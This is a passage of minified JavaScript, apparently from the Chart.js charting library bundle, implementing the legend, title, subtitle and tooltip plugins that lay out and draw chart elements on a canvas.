s=t.getSortedVisibleDatasetMetas();for(let e=s.length-1;e>=0;--e){const i=s[e].$filler;no(i)&&co(t.ctx,i,t.chartArea)}},beforeDatasetDraw(t,e,i){const s=e.meta.$filler;no(s)&&"beforeDatasetDraw"===i.drawTime&&co(t.ctx,s,t.chartArea)},defaults:{propagate:!0,drawTime:"beforeDatasetDraw"}};const bo=(t,e)=>{let{boxHeight:i=e,boxWidth:s=e}=t;return t.usePointStyle&&(i=Math.min(i,e),s=t.pointStyleWidth||Math.min(s,e)),{boxWidth:s,boxHeight:i,itemHeight:Math.max(e,i)}};class xo extends Bs{constructor(t){super(),this._added=!1,this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1,this.chart=t.chart,this.options=t.options,this.ctx=t.ctx,this.legendItems=void 0,this.columnSizes=void 0,this.lineWidths=void 0,this.maxHeight=void 0,this.maxWidth=void 0,this.top=void 0,this.bottom=void 0,this.left=void 0,this.right=void 0,this.height=void 0,this.width=void 0,this._margins=void 0,this.position=void 0,this.weight=void 0,this.fullSize=void 0}update(t,e,i){this.maxWidth=t,this.maxHeight=e,this._margins=i,this.setDimensions(),this.buildLabels(),this.fit()}setDimensions(){this.isHorizontal()?(this.width=this.maxWidth,this.left=this._margins.left,this.right=this.width):(this.height=this.maxHeight,this.top=this._margins.top,this.bottom=this.height)}buildLabels(){const t=this.options.labels||{};let e=N(t.generateLabels,[this.chart],this)||[];t.filter&&(e=e.filter((e=>t.filter(e,this.chart.data)))),t.sort&&(e=e.sort(((e,i)=>t.sort(e,i,this.chart.data)))),this.options.reverse&&e.reverse(),this.legendItems=e}fit(){const{options:t,ctx:e}=this;if(!t.display)return void(this.width=this.height=0);const i=t.labels,s=Pe(i.font),n=s.size,o=this._computeTitleHeight(),{boxWidth:a,itemHeight:r}=bo(i,n);let l,h;e.font=s.string,this.isHorizontal()?(l=this.maxWidth,h=this._fitRows(o,n,a,r)+10):(h=this.maxHeight,l=this._fitCols(o,s,a,r)+10),this.width=Math.min(l,t.maxWidth||this.maxWidth),this.height=Math.min(h,t.maxHeight||this.maxHeight)}_fitRows(t,e,i,s){const{ctx:n,maxWidth:o,options:{labels:{padding:a}}}=this,r=this.legendHitBoxes=[],l=this.lineWidths=[0],h=s+a;let c=t;n.textAlign="left",n.textBaseline="middle";let d=-1,u=-h;return this.legendItems.forEach(((t,f)=>{const g=i+e/2+n.measureText(t.text).width;(0===f||l[l.length-1]+g+2*a>o)&&(c+=h,l[l.length-(f>0?0:1)]=0,u+=h,d++),r[f]={left:0,top:u,row:d,width:g,height:s},l[l.length-1]+=g+a})),c}_fitCols(t,e,i,s){const{ctx:n,maxHeight:o,options:{labels:{padding:a}}}=this,r=this.legendHitBoxes=[],l=this.columnSizes=[],h=o-t;let c=a,d=0,u=0,f=0,g=0;return this.legendItems.forEach(((t,o)=>{const{itemWidth:p,itemHeight:m}=function(t,e,i,s,n){const o=function(t,e,i,s){let n=t.text;return n&&"string"!=typeof n&&(n=n.reduce(((t,e)=>t.length>e.length?t:e))),e+i.size/2+s.measureText(n).width}(s,t,e,i),a=function(t,e,i){let s=t;return"string"!=typeof e.text&&(s=_o(e,i)),s}(n,s,e.lineHeight);return{itemWidth:o,itemHeight:a}}(i,e,n,t,s);o>0&&u+m+2*a>h&&(c+=d+a,l.push({width:d,height:u}),f+=d+a,g++,d=u=0),r[o]={left:f,top:u,col:g,width:p,height:m},d=Math.max(d,p),u+=m+a})),c+=d,l.push({width:d,height:u}),c}adjustHitBoxes(){if(!this.options.display)return;const t=this._computeTitleHeight(),{legendHitBoxes:e,options:{align:i,labels:{padding:s},rtl:n}}=this,o=ci(n,this.left,this.width);if(this.isHorizontal()){let n=0,a=It(i,this.left+s,this.right-this.lineWidths[n]);for(const r of e)n!==r.row&&(n=r.row,a=It(i,this.left+s,this.right-this.lineWidths[n])),r.top+=this.top+t+s,r.left=o.leftForLtr(o.x(a),r.width),a+=r.width+s}else{let n=0,a=It(i,this.top+t+s,this.bottom-this.columnSizes[n].height);for(const r of e)r.col!==n&&(n=r.col,a=It(i,this.top+t+s,this.bottom-this.columnSizes[n].height)),r.top=a,r.left+=this.left+s,r.left=o.leftForLtr(o.x(r.left),r.width),a+=r.height+s}}isHorizontal(){return"top"===this.options.position||"bottom"===this.options.position}draw(){if(this.options.display){const t=this.ctx;ce(t,this),this._draw(),de(t)}}_draw(){const{options:t,columnSizes:e,lineWidths:i,ctx:s}=this,{align:n,labels:o}=t,a=ie.color,r=ci(t.rtl,this.left,this.width),l=Pe(o.font),{padding:h}=o,c=l.size,d=c/2;let u;this.drawTitle(),s.textAlign=r.textAlign("left"),s.textBaseline="middle",s.lineWidth=.5,s.font=l.string;const{boxWidth:f,boxHeight:g,itemHeight:p}=bo(o,c),m=this.isHorizontal(),b=this._computeTitleHeight();u=m?{x:It(n,this.left+h,this.right-i[0]),y:this.top+h+b,line:0}:{x:this.left+h,y:It(n,this.top+b+h,this.bottom-e[0].height),line:0},di(this.ctx,t.textDirection);const x=p+h;this.legendItems.forEach(((_,y)=>{s.strokeStyle=_.fontColor,s.fillStyle=_.fontColor;const v=s.measureText(_.text).width,M=r.textAlign(_.textAlign||(_.textAlign=o.textAlign)),w=f+d+v;let k=u.x,S=u.y;if(r.setWidth(this.width),m?y>0&&k+w+h>this.right&&(S=u.y+=x,u.line++,k=u.x=It(n,this.left+h,this.right-i[u.line])):y>0&&S+x>this.bottom&&(k=u.x=k+e[u.line].width+h,u.line++,S=u.y=It(n,this.top+b+h,this.bottom-e[u.line].height)),function(t,e,i){if(isNaN(f)||f<=0||isNaN(g)||g<0)return;s.save();const n=B(i.lineWidth,1);if(s.fillStyle=B(i.fillStyle,a),s.lineCap=B(i.lineCap,"butt"),s.lineDashOffset=B(i.lineDashOffset,0),s.lineJoin=B(i.lineJoin,"miter"),s.lineWidth=n,s.strokeStyle=B(i.strokeStyle,a),s.setLineDash(B(i.lineDash,[])),o.usePointStyle){const a={radius:g*Math.SQRT2/2,pointStyle:i.pointStyle,rotation:i.rotation,borderWidth:n},l=r.xPlus(t,f/2);le(s,a,l,e+d,o.pointStyleWidth&&f)}else{const o=e+Math.max((c-g)/2,0),a=r.leftForLtr(t,f),l=ke(i.borderRadius);s.beginPath(),Object.values(l).some((t=>0!==t))?be(s,{x:a,y:o,w:f,h:g,radius:l}):s.rect(a,o,f,g),s.fill(),0!==n&&s.stroke()}s.restore()}(r.x(k),S,_),k=((t,e,i,s)=>t===(s?"left":"right")?i:"center"===t?(e+i)/2:e)(M,k+f+d,m?k+w:this.right,t.rtl),function(t,e,i){ge(s,i.text,t,e+p/2,l,{strikethrough:i.hidden,textAlign:r.textAlign(i.textAlign)})}(r.x(k),S,_),m)u.x+=w+h;else if("string"!=typeof _.text){const t=l.lineHeight;u.y+=_o(_,t)}else u.y+=x})),ui(this.ctx,t.textDirection)}drawTitle(){const t=this.options,e=t.title,i=Pe(e.font),s=Se(e.padding);if(!e.display)return;const n=ci(t.rtl,this.left,this.width),o=this.ctx,a=e.position,r=i.size/2,l=s.top+r;let h,c=this.left,d=this.width;if(this.isHorizontal())d=Math.max(...this.lineWidths),h=this.top+l,c=It(t.align,c,this.right-d);else{const e=this.columnSizes.reduce(((t,e)=>Math.max(t,e.height)),0);h=l+It(t.align,this.top,this.bottom-e-t.labels.padding-this._computeTitleHeight())}const u=It(a,c,c+d);o.textAlign=n.textAlign(Rt(a)),o.textBaseline="middle",o.strokeStyle=e.color,o.fillStyle=e.color,o.font=i.string,ge(o,e.text,u,h,i)}_computeTitleHeight(){const t=this.options.title,e=Pe(t.font),i=Se(t.padding);return t.display?e.lineHeight+i.height:0}_getLegendItemAt(t,e){let i,s,n;if(St(t,this.left,this.right)&&St(e,this.top,this.bottom))for(n=this.legendHitBoxes,i=0;i<n.length;++i)if(s=n[i],St(t,s.left,s.left+s.width)&&St(e,s.top,s.top+s.height))return this.legendItems[i];return null}handleEvent(t){const e=this.options;if(!function(t,e){return!("mousemove"!==t&&"mouseout"!==t||!e.onHover&&!e.onLeave)||!(!e.onClick||"click"!==t&&"mouseup"!==t)}(t.type,e))return;const i=this._getLegendItemAt(t.x,t.y);if("mousemove"===t.type||"mouseout"===t.type){const o=this._hoveredItem,a=(n=i,null!==(s=o)&&null!==n&&s.datasetIndex===n.datasetIndex&&s.index===n.index);o&&!a&&N(e.onLeave,[t,o,this],this),this._hoveredItem=i,i&&!a&&N(e.onHover,[t,i,this],this)}else i&&N(e.onClick,[t,i,this],this);var s,n}}function _o(t,e){return e*(t.text?t.text.length+.5:0)}var yo={id:"legend",_element:xo,start(t,e,i){const s=t.legend=new xo({ctx:t.ctx,options:i,chart:t});ys.configure(t,s,i),ys.addBox(t,s)},stop(t){ys.removeBox(t,t.legend),delete t.legend},beforeUpdate(t,e,i){const s=t.legend;ys.configure(t,s,i),s.options=i},afterUpdate(t){const e=t.legend;e.buildLabels(),e.adjustHitBoxes()},afterEvent(t,e){e.replay||t.legend.handleEvent(e.event)},defaults:{display:!0,position:"top",align:"center",fullSize:!0,reverse:!1,weight:1e3,onClick(t,e,i){const s=e.datasetIndex,n=i.chart;n.isDatasetVisible(s)?(n.hide(s),e.hidden=!0):(n.show(s),e.hidden=!1)},onHover:null,onLeave:null,labels:{color:t=>t.chart.options.color,boxWidth:40,padding:10,generateLabels(t){const e=t.data.datasets,{labels:{usePointStyle:i,pointStyle:s,textAlign:n,color:o,useBorderRadius:a,borderRadius:r}}=t.legend.options;return t._getSortedDatasetMetas().map((t=>{const l=t.controller.getStyle(i?0:void 0),h=Se(l.borderWidth);return{text:e[t.index].label,fillStyle:l.backgroundColor,fontColor:o,hidden:!t.visible,lineCap:l.borderCapStyle,lineDash:l.borderDash,lineDashOffset:l.borderDashOffset,lineJoin:l.borderJoinStyle,lineWidth:(h.width+h.height)/4,strokeStyle:l.borderColor,pointStyle:s||l.pointStyle,rotation:l.rotation,textAlign:n||l.textAlign,borderRadius:a&&(r||l.borderRadius),datasetIndex:t.index}}),this)}},title:{color:t=>t.chart.options.color,display:!1,position:"center",text:""}},descriptors:{_scriptable:t=>!t.startsWith("on"),labels:{_scriptable:t=>!["generateLabels","filter","sort"].includes(t)}}};class vo extends Bs{constructor(t){super(),this.chart=t.chart,this.options=t.options,this.ctx=t.ctx,this._padding=void 0,this.top=void 0,this.bottom=void 0,this.left=void 0,this.right=void 0,this.width=void 0,this.height=void 0,this.position=void 0,this.weight=void 0,this.fullSize=void 0}update(t,e){const i=this.options;if(this.left=0,this.top=0,!i.display)return void(this.width=this.height=this.right=this.bottom=0);this.width=this.right=t,this.height=this.bottom=e;const s=I(i.text)?i.text.length:1;this._padding=Se(i.padding);const n=s*Pe(i.font).lineHeight+this._padding.height;this.isHorizontal()?this.height=n:this.width=n}isHorizontal(){const t=this.options.position;return"top"===t||"bottom"===t}_drawArgs(t){const{top:e,left:i,bottom:s,right:n,options:o}=this,a=o.align;let r,l,h,c=0;return this.isHorizontal()?(l=It(a,i,n),h=e+t,r=n-i):("left"===o.position?(l=i+t,h=It(a,s,e),c=-.5*it):(l=n-t,h=It(a,e,s),c=.5*it),r=s-e),{titleX:l,titleY:h,maxWidth:r,rotation:c}}draw(){const t=this.ctx,e=this.options;if(!e.display)return;const i=Pe(e.font),s=i.lineHeight/2+this._padding.top,{titleX:n,titleY:o,maxWidth:a,rotation:r}=this._drawArgs(s);ge(t,e.text,0,0,i,{color:e.color,maxWidth:a,rotation:r,textAlign:Rt(e.align),textBaseline:"middle",translation:[n,o]})}}var Mo={id:"title",_element:vo,start(t,e,i){!function(t,e){const i=new vo({ctx:t.ctx,options:e,chart:t});ys.configure(t,i,e),ys.addBox(t,i),t.titleBlock=i}(t,i)},stop(t){const e=t.titleBlock;ys.removeBox(t,e),delete t.titleBlock},beforeUpdate(t,e,i){const s=t.titleBlock;ys.configure(t,s,i),s.options=i},defaults:{align:"center",display:!1,font:{weight:"bold"},fullSize:!0,padding:10,position:"top",text:"",weight:2e3},defaultRoutes:{color:"color"},descriptors:{_scriptable:!0,_indexable:!1}};const wo=new WeakMap;var ko={id:"subtitle",start(t,e,i){const s=new vo({ctx:t.ctx,options:i,chart:t});ys.configure(t,s,i),ys.addBox(t,s),wo.set(t,s)},stop(t){ys.removeBox(t,wo.get(t)),wo.delete(t)},beforeUpdate(t,e,i){const s=wo.get(t);ys.configure(t,s,i),s.options=i},defaults:{align:"center",display:!1,font:{weight:"normal"},fullSize:!0,padding:0,position:"top",text:"",weight:1500},defaultRoutes:{color:"color"},descriptors:{_scriptable:!0,_indexable:!1}};const So={average(t){if(!t.length)return!1;let e,i,s=0,n=0,o=0;for(e=0,i=t.length;e<i;++e){const i=t[e].element;if(i&&i.hasValue()){const t=i.tooltipPosition();s+=t.x,n+=t.y,++o}}return{x:s/o,y:n/o}},nearest(t,e){if(!t.length)return!1;let i,s,n,o=e.x,a=e.y,r=Number.POSITIVE_INFINITY;for(i=0,s=t.length;i<s;++i){const s=t[i].element;if(s&&s.hasValue()){const t=yt(e,s.getCenterPoint());t<r&&(r=t,n=s)}}if(n){const t=n.tooltipPosition();o=t.x,a=t.y}return{x:o,y:a}}};function Po(t,e){return e&&(I(e)?Array.prototype.push.apply(t,e):t.push(e)),t}function Do(t){return("string"==typeof t||t instanceof String)&&t.indexOf("\n")>-1?t.split("\n"):t}function Co(t,e){const{element:i,datasetIndex:s,index:n}=e,o=t.getDatasetMeta(s).controller,{label:a,value:r}=o.getLabelAndValue(n);return{chart:t,label:a,parsed:o.getParsed(n),raw:t.data.datasets[s].data[n],formattedValue:r,dataset:o.getDataset(),dataIndex:n,datasetIndex:s,element:i}}function Oo(t,e){const i=t.chart.ctx,{body:s,footer:n,title:o}=t,{boxWidth:a,boxHeight:r}=e,l=Pe(e.bodyFont),h=Pe(e.titleFont),c=Pe(e.footerFont),d=o.length,u=n.length,f=s.length,g=Se(e.padding);let p=g.height,m=0,b=s.reduce(((t,e)=>t+e.before.length+e.lines.length+e.after.length),0);b+=t.beforeBody.length+t.afterBody.length,d&&(p+=d*h.lineHeight+(d-1)*e.titleSpacing+e.titleMarginBottom),b&&(p+=f*(e.displayColors?Math.max(r,l.lineHeight):l.lineHeight)+(b-f)*l.lineHeight+(b-1)*e.bodySpacing),u&&(p+=e.footerMarginTop+u*c.lineHeight+(u-1)*e.footerSpacing);let x=0;const _=function(t){m=Math.max(m,i.measureText(t).width+x)};return i.save(),i.font=h.string,H(t.title,_),i.font=l.string,H(t.beforeBody.concat(t.afterBody),_),x=e.displayColors?a+2+e.boxPadding:0,H(s,(t=>{H(t.before,_),H(t.lines,_),H(t.after,_)})),x=0,i.font=c.string,H(t.footer,_),i.restore(),m+=g.width,{width:m,height:p}}function Ao(t,e,i,s){const{x:n,width:o}=i,{width:a,chartArea:{left:r,right:l}}=t;let h="center";return"center"===s?h=n<=(r+l)/2?"left":"right":n<=o/2?h="left":n>=a-o/2&&(h="right"),function(t,e,i,s){const{x:n,width:o}=s,a=i.caretSize+i.caretPadding;return"left"===t&&n+o+a>e.width||"right"===t&&n-o-a<0||void 0}(h,t,e,i)&&(h="center"),h}function To(t,e,i){const s=i.yAlign||e.yAlign||function(t,e){const{y:i,height:s}=e;return i<s/2?"top":i>t.height-s/2?"bottom":"center"}(t,i);return{xAlign:i.xAlign||e.xAlign||Ao(t,e,i,s),yAlign:s}}function Lo(t,e,i,s){const{caretSize:n,caretPadding:o,cornerRadius:a}=t,{xAlign:r,yAlign:l}=i,h=n+o,{topLeft:c,topRight:d,bottomLeft:u,bottomRight:f}=ke(a);let g=function(t,e){let{x:i,width:s}=t;return"right"===e?i-=s:"center"===e&&(i-=s/2),i}(e,r);const p=function(t,e,i){let{y:s,height:n}=t;return"top"===e?s+=i:s-="bottom"===e?n+i:n/2,s}(e,l,h);return"center"===l?"left"===r?g+=h:"right"===r&&(g-=h):"left"===r?g-=Math.max(c,u)+n:"right"===r&&(g+=Math.max(d,f)+n),{x:kt(g,0,s.width-e.width),y:kt(p,0,s.height-e.height)}}function Eo(t,e,i){const s=Se(i.padding);return"center"===e?t.x+t.width/2:"right"===e?t.x+t.width-s.right:t.x+s.left}function Ro(t){return Po([],Do(t))}function Io(t,e){const i=e&&e.dataset&&e.dataset.tooltip&&e.dataset.tooltip.callbacks;return i?t.override(i):t}const zo={beforeTitle:L,title(t){if(t.length>0){const e=t[0],i=e.chart.data.labels,s=i?i.length:0;if(this&&this.options&&"dataset"===this.options.mode)return e.dataset.label||"";if(e.label)return e.label;if(s>0&&e.dataIndex<s)return i[e.dataIndex]}return""},afterTitle:L,beforeBody:L,beforeLabel:L,label(t){if(this&&this.options&&"dataset"===this.options.mode)return t.label+": "+t.formattedValue||t.formattedValue;let e=t.dataset.label||"";e&&(e+=": ");const i=t.formattedValue;return R(i)||(e+=i),e},labelColor(t){const e=t.chart.getDatasetMeta(t.datasetIndex).controller.getStyle(t.dataIndex);return{borderColor:e.borderColor,backgroundColor:e.backgroundColor,borderWidth:e.borderWidth,borderDash:e.borderDash,borderDashOffset:e.borderDashOffset,borderRadius:0}},labelTextColor(){return this.options.bodyColor},labelPointStyle(t){const e=t.chart.getDatasetMeta(t.datasetIndex).controller.getStyle(t.dataIndex);return{pointStyle:e.pointStyle,rotation:e.rotation}},afterLabel:L,afterBody:L,beforeFooter:L,footer:L,afterFooter:L};function Fo(t,e,i,s){const n=t[e].call(i,s);return void 0===n?zo[e].call(i,s):n}class Vo extends Bs{static positioners=So;constructor(t){super(),this.opacity=0,this._active=[],this._eventPosition=void 0,this._size=void 0,this._cachedAnimations=void 0,this._tooltipItems=[],this.$animations=void 0,this.$context=void 0,this.chart=t.chart,this.options=t.options,this.dataPoints=void 0,this.title=void 0,this.beforeBody=void 0,this.body=void 0,this.afterBody=void 0,this.footer=void 0,this.xAlign=void 0,this.yAlign=void 0,this.x=void 0,this.y=void 0,this.height=void 0,this.width=void 0,this.caretX=void 0,this.caretY=void 0,this.labelColors=void 0,this.labelPointStyles=void 0,this.labelTextColors=void 0}initialize(t){this.options=t,this._cachedAnimations=void 0,this.$context=void 0}_resolveAnimations(){const t=this._cachedAnimations;if(t)return t;const e=this.chart,i=this.options.setContext(this.getContext()),s=i.enabled&&e.options.animation&&i.animations,n=new ki(this.chart,s);return s._cacheable&&(this._cachedAnimations=Object.freeze(n)),n}getContext(){return this.$context||(this.$context=(this,Ce(this.chart.getContext(),{tooltip:this,tooltipItems:this._tooltipItems,type:"tooltip"})))}getTitle(t,e){const{callbacks:i}=e,s=Fo(i,"beforeTitle",this,t),n=Fo(i,"title",this,t),o=Fo(i,"afterTitle",this,t);let a=[];return a=Po(a,Do(s)),a=Po(a,Do(n)),a=Po(a,Do(o)),a}getBeforeBody(t,e){return Ro(Fo(e.callbacks,"beforeBody",this,t))}getBody(t,e){const{callbacks:i}=e,s=[];return H(t,(t=>{const e={before:[],lines:[],after:[]},n=Io(i,t);Po(e.before,Do(Fo(n,"beforeLabel",this,t))),Po(e.lines,Fo(n,"label",this,t)),Po(e.after,Do(Fo(n,"afterLabel",this,t))),s.push(e)})),s}getAfterBody(t,e){return Ro(Fo(e.callbacks,"afterBody",this,t))}getFooter(t,e){const{callbacks:i}=e,s=Fo(i,"beforeFooter",this,t),n=Fo(i,"footer",this,t),o=Fo(i,"afterFooter",this,t);let a=[];return a=Po(a,Do(s)),a=Po(a,Do(n)),a=Po(a,Do(o)),a}_createItems(t){const e=this._active,i=this.chart.data,s=[],n=[],o=[];let a,r,l=[];for(a=0,r=e.length;a<r;++a)l.push(Co(this.chart,e[a]));return t.filter&&(l=l.filter(((e,s,n)=>t.filter(e,s,n,i)))),t.itemSort&&(l=l.sort(((e,s)=>t.itemSort(e,s,i)))),H(l,(e=>{const i=Io(t.callbacks,e);s.push(Fo(i,"labelColor",this,e)),n.push(Fo(i,"labelPointStyle",this,e)),o.push(Fo(i,"labelTextColor",this,e))})),this.labelColors=s,this.labelPointStyles=n,this.labelTextColors=o,this.dataPoints=l,l}update(t,e){const i=this.options.setContext(this.getContext()),s=this._active;let n,o=[];if(s.length){const t=So[i.position].call(this,s,this._eventPosition);o=this._createItems(i),this.title=this.getTitle(o,i),this.beforeBody=this.getBeforeBody(o,i),this.body=this.getBody(o,i),this.afterBody=this.getAfterBody(o,i),this.footer=this.getFooter(o,i);const e=this._size=Oo(this,i),a=Object.assign({},t,e),r=To(this.chart,i,a),l=Lo(i,a,r,this.chart);this.xAlign=r.xAlign,this.yAlign=r.yAlign,n={opacity:1,x:l.x,y:l.y,width:e.width,height:e.height,caretX:t.x,caretY:t.y}}else 0!==this.opacity&&(n={opacity:0});this._tooltipItems=o,this.$context=void 0,n&&this._resolveAnimations().update(this,n),t&&i.external&&i.external.call(this,{chart:this.chart,tooltip:this,replay:e})}drawCaret(t,e,i,s){const n=this.getCaretPosition(t,i,s);e.lineTo(n.x1,n.y1),e.lineTo(n.x2,n.y2),e.lineTo(n.x3,n.y3)}getCaretPosition(t,e,i){const{xAlign:s,yAlign:n}=this,{caretSize:o,cornerRadius:a}=i,{topLeft:r,topRight:l,bottomLeft:h,bottomRight:c}=ke(a),{x:d,y:u}=t,{width:f,height:g}=e;let p,m,b,x,_,y;return"center"===n?(_=u+g/2,"left"===s?(p=d,m=p-o,x=_+o,y=_-o):(p=d+f,m=p+o,x=_-o,y=_+o),b=p):(m="left"===s?d+Math.max(r,h)+o:"right"===s?d+f-Math.max(l,c)-o:this.caretX,"top"===n?(x=u,_=x-o,p=m-o,b=m+o):(x=u+g,_=x+o,p=m+o,b=m-o),y=x),{x1:p,x2:m,x3:b,y1:x,y2:_,y3:y}}drawTitle(t,e,i){const s=this.title,n=s.length;let o,a,r;if(n){const l=ci(i.rtl,this.x,this.width);for(t.x=Eo(this,i.titleAlign,i),e.textAlign=l.textAlign(i.titleAlign),e.textBaseline="middle",o=Pe(i.titleFont),a=i.titleSpacing,e.fillStyle=i.titleColor,e.font=o.string,r=0;r<n;++r)e.fillText(s[r],l.x(t.x),t.y+o.lineHeight/2),t.y+=o.lineHeight+a,r+1===n&&(t.y+=i.titleMarginBottom-a)}}_drawColorBox(t,e,i,s,n){const o=this.labelColors[i],a=this.labelPointStyles[i],{boxHeight:r,boxWidth:l,boxPadding:h}=n,c=Pe(n.bodyFont),d=Eo(this,"left",n),u=s.x(d),f=r<c.lineHeight?(c.lineHeight-r)/2:0,g=e.y+f;if(n.usePointStyle){const e={radius:Math.min(l,r)/2,pointStyle:a.pointStyle,rotation:a.rotation,borderWidth:1},i=s.leftForLtr(u,l)+l/2,h=g+r/2;t.strokeStyle=n.multiKeyBackground,t.fillStyle=n.multiKeyBackground,re(t,e,i,h),t.strokeStyle=o.borderColor,t.fillStyle=o.backgroundColor,re(t,e,i,h)}else{t.lineWidth=z(o.borderWidth)?Math.max(...Object.values(o.borderWidth)):o.borderWidth||1,t.strokeStyle=o.borderColor,t.setLineDash(o.borderDash||[]),t.lineDashOffset=o.borderDashOffset||0;const e=s.leftForLtr(u,l-h),i=s.leftForLtr(s.xPlus(u,1),l-h-2),a=ke(o.borderRadius);Object.values(a).some((t=>0!==t))?(t.beginPath(),t.fillStyle=n.multiKeyBackground,be(t,{x:e,y:g,w:l,h:r,radius:a}),t.fill(),t.stroke(),t.fillStyle=o.backgroundColor,t.beginPath(),be(t,{x:i,y:g+1,w:l-2,h:r-2,radius:a}),t.fill()):(t.fillStyle=n.multiKeyBackground,t.fillRect(e,g,l,r),t.strokeRect(e,g,l,r),t.fillStyle=o.backgroundColor,t.fillRect(i,g+1,l-2,r-2))}t.fillStyle=this.labelTextColors[i]}drawBody(t,e,i){const{body:s}=this,{bodySpacing:n,bodyAlign:o,displayColors:a,boxHeight:r,boxWidth:l,boxPadding:h}=i,c=Pe(i.bodyFont);let d=c.lineHeight,u=0;const f=ci(i.rtl,this.x,this.width),g=function(i){e.fillText(i,f.x(t.x+u),t.y+d/2),t.y+=d+n},p=f.textAlign(o);let m,b,x,_,y,v,M;for(e.textAlign=o,e.textBaseline="middle",e.font=c.string,t.x=Eo(this,p,i),e.fillStyle=i.bodyColor,H(this.beforeBody,g),u=a&&"right"!==p?"center"===o?l/2+h:l+2+h:0,_=0,v=s.length;_<v;++_){for(m=s[_],b=this.labelTextColors[_],e.fillStyle=b,H(m.before,g),x=m.lines,a&&x.length&&(this._drawColorBox(e,t,_,f,i),d=Math.max(c.lineHeight,r)),y=0,M=x.length;y<M;++y)g(x[y]),d=c.lineHeight;H(m.after,g)}u=0,d=c.lineHeight,H(this.afterBody,g),t.y-=n}drawFooter(t,e,i){const s=this.footer,n=s.length;let o,a;if(n){const r=ci(i.rtl,this.x,this.width);for(t.x=Eo(this,i.footerAlign,i),t.y+=i.footerMarginTop,e.textAlign=r.textAlign(i.footerAlign),e.textBaseline="middle",o=Pe(i.footerFont),e.fillStyle=i.footerColor,e.font=o.string,a=0;a<n;++a)e.fillText(s[a],r.x(t.x),t.y+o.lineHeight/2),t.y+=o.lineHeight+i.footerSpacing}}drawBackground(t,e,i,s){const{xAlign:n,yAlign:o}=this,{x:a,y:r}=t,{width:l,height:h}=i,{topLeft:c,topRight:d,bottomLeft:u,bottomRight:f}=ke(s.cornerRadius);e.fillStyle=s.backgroundColor,e.strokeStyle=s.borderColor,e.lineWidth=s.borderWidth,e.beginPath(),e.moveTo(a+c,r),"top"===o&&this.drawCaret(t,e,i,s),e.lineTo(a+l-d,r),e.quadraticCurveTo(a+l,r,a+l,r+d),"center"===o&&"right"===n&&this.drawCaret(t,e,i,s),e.lineTo(a+l,r+h-f),e.quadraticCurveTo(a+l,r+h,a+l-f,r+h),"bottom"===o&&this.drawCaret(t,e,i,s),e.lineTo(a+u,r+h),e.quadraticCurveTo(a,r+h,a,r+h-u),"center"===o&&"left"===n&&this.drawCaret(t,e,i,s),e.lineTo(a,r+c),e.quadraticCurveTo(a,r,a+c,r),e.closePath(),e.fill(),s.borderWidth>0&&e.stroke()}_updateAnimationTarget(t){const e=this.chart,i=this.$animations,s=i&&i.x,n=i&&i.y;if(s||n){const i=So[t.position].call(this,this._active,this._eventPosition);if(!i)return;const o=this._size=Oo(this,t),a=Object.assign({},i,this._size),r=To(e,t,a),l=Lo(t,a,r,e);s._to===l.x&&n._to===l.y||(this.xAlign=r.xAlign,this.yAlign=r.yAlign,this.width=o.width,this.height=o.height,this.caretX=i.x,this.caretY=i.y,this._resolveAnimations().update(this,l))}}_willRender(){return!!this.opacity}draw(t){const e=this.options.setContext(this.getContext());let i=this.opacity;if(!i)return;this._updateAnimationTarget(e);const s={width:this.width,height:this.height},n={x:this.x,y:this.y};i=Math.abs(i)<.001?0:i;const o=Se(e.padding),a=this.title.length||this.beforeBody.length||this.body.length||this.afterBody.length||this.footer.length;e.enabled&&a&&(t.save(),t.globalAlpha=i,this.drawBackground(n,t,s,e),di(t,e.textDirection),n.y+=o.top,this.drawTitle(n,t,e),this.drawBody(n,t,e),this.drawFooter(n,t,e),ui(t,e.textDirection),t.restore())}getActiveElements(){return this._active||[]}setActiveElements(t,e){const i=this._active,s=t.map((({datasetIndex:t,index:e})=>{const i=this.chart.getDatasetMeta(t);if(!i)throw new Error("Cannot find a dataset at index "+t);return{datasetIndex:t,element:i.data[e],index:e}})),n=!j(i,s),o=this._positionChanged(s,e);(n||o)&&(this._active=s,this._eventPosition=e,this._ignoreReplayEvents=!0,this.update(!0))}handleEvent(t,e,i=!0){if(e&&this._ignoreReplayEvents)return!1;this._ignoreReplayEvents=!1;const s=this.options,n=this._active||[],o=this._getActiveElements(t,n,e,i),a=this._positionChanged(o,t),r=e||!j(o,n)||a;return r&&(this._active=o,(s.enabled||s.external)&&(this._eventPosition={x:t.x,y:t.y},this.update(!0,e))),r}_getActiveElements(t,e,i,s){const n=this.options;if("mouseout"===t.type)return[];if(!s)return e;const o=this.chart.getElementsAtEventForMode(t,n.mode,n,i);return n.reverse&&o.reverse(),o}_positionChanged(t,e){const{caretX:i,caretY:s,options:n}=this,o=So[n.position].call(this,t,e);return!1!==o&&(i!==o.x||s!==o.y)}}var Bo={id:"tooltip",_element:Vo,positioners:So,afterInit(t,e,i){i&&(t.tooltip=new Vo({chart:t,options:i}))},beforeUpdate(t,e,i){t.tooltip&&t.tooltip.initialize(i)},reset(t,e,i){t.tooltip&&t.tooltip.initialize(i)},afterDraw(t){const e=t.tooltip;if(e&&e._willRender()){const i={tooltip:e};if(!1===t.notifyPlugins("beforeTooltipDraw",{...i,cancelable:!0}))return;e.draw(t.ctx),t.notifyPlugins("afterTooltipDraw",i)}},afterEvent(t,e){if(t.tooltip){const i=e.replay;t.tooltip.handleEvent(e.event,i,e.inChartArea)&&(e.changed=!0)}},defaults:{enabled:!0,external:null,position:"average",backgroundColor:"rgba(0,0,0,0.8)",titleColor:"#fff",titleFont:{weight:"bold"},titleSpacing:2,titleMarginBottom:6,titleAlign:"left",bodyColor:"#fff",bodySpacing:2,bodyFont:{},bodyAlign:"left",footerColor:"#fff",footerSpacing:2,footerMarginTop:6,footerFont:{weight:"bold"},footerAlign:"left",padding:6,caretPadding:2,caretSize:5,cornerRadius:6,boxHeight:(t,e)=>e.bodyFont.size,boxWidth:(t,e)=>e.bodyFont.size,multiKeyBackground:"#fff",displayColors:!0,boxPadding:0,borderColor:"rgba(0,0,0,0)",borderWidth:0,animation:{duration:400,easing:"easeOutQuart"},animations:{numbers:{type:"number",properties:["x","y","width","height","caretX","caretY"]},opacity:{easing:"linear",duration:200}},callbacks:zo},defaultRoutes:{bodyFont:"font",footerFont:"font",titleFont:"font"},descriptors:{_scriptable:t=>"filter"!==t&&"itemSort"!==t&&"external"!==t,_indexable:!1,callbacks:{_scriptable:!1,_indexable:!1},animation:{_fallback:!1},animations:{_fallback:"animation"}},additionalOptionScopes:["interaction"]},Wo